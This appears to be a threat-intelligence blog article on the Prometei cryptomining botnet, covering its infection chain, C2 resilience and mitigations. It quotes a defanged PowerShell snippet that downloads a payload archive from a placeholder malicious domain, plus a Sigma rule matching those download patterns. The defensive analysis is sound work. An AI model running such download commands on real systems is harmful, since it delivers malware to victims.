Unmasking Prometei: Trend Micro’s MXDR Investigation Reveals Botnet’s Cryptomining Operations

The Prometei botnet has evolved into a sophisticated threat since its emergence in 2016, now leveraging Microsoft Exchange vulnerabilities and advanced evasion techniques to conduct cryptocurrency mining at scale. Trend Micro’s Managed Extended Detection and Response (MXDR) team recently uncovered new details about its modular architecture, command-and-control infrastructure, and operational security measures that make it particularly resilient against takedown attempts.

Technical Analysis of Attack Methodology

Prometei employs a multi-stage infection chain beginning with brute force attacks against exposed RDP/SMB services or exploitation of Microsoft Exchange vulnerabilities (CVE-2021-26858, CVE-2021-27065). The malware demonstrates advanced operational security through:

• PowerShell-based payload retrieval with obfuscated commands
• WMI event subscriptions for persistence
• Process hollowing of legitimate Windows binaries

One observed payload delivery mechanism uses this PowerShell snippet:

$down = New-Object System.Net.WebClient;
$url = 'hxxp://malicious-domain[.]com/archive.zip';
$file = "$env:temp\archive.zip";
$down.DownloadFile($url,$file);

Network Infrastructure Insights

The botnet’s C2 architecture shows deliberate design choices for resilience. Daily Domain Generation Algorithms (DGA) produce over 120 potential domains, while Tor proxies provide anonymized communication channels. Forensic evidence suggests operational security measures including:

Component	Description
DGA Algorithm	Generates 120+ potential C2 domains daily
Tor Proxies	Routes traffic through .onion addresses
Fallback Channels	Hardcoded IP addresses in binary resources

Detection and Mitigation Strategies

Security teams should implement these defensive measures based on observed Tactics, Techniques and Procedures (TTPs):

1. Enable PowerShell logging with constrained language mode
2. Deploy Sigma rules for behavioral detection of living-off-the-land binaries
3. Monitor for RDP brute force attempts (threshold: 5 failures/5 minutes)

Sample Sigma detection rule for Prometei activity:

title: Prometei Botnet Activity
description: Detects PowerShell patterns associated with Prometei
logsource:
    product: windows
    service: powershell
detection:
    selection:
        CommandLine|contains: 
            - 'DownloadFile'
            - 'System.Net.WebClient'
            - 'Expand-Archive'
    condition: selection

Operational Relevance for Security Teams

This investigation provides critical insights for both defensive and offensive security professionals. Blue teams should prioritize patching Exchange Server vulnerabilities and implement credential rotation policies. The botnet’s exploitation techniques offer red teams valuable case studies in lateral movement and persistence mechanisms.

Key takeaways include:

• Importance of behavioral analytics beyond signature-based detection
• Value of PowerShell logging for post-incident investigations
• Need for proactive vulnerability management programs

References

1. Trend Micro Research: Unmasking Prometei
2. NetmanageIT Technical Analysis
3. Malpedia: Prometei Malware Family
4. Wiz.io Threat Intelligence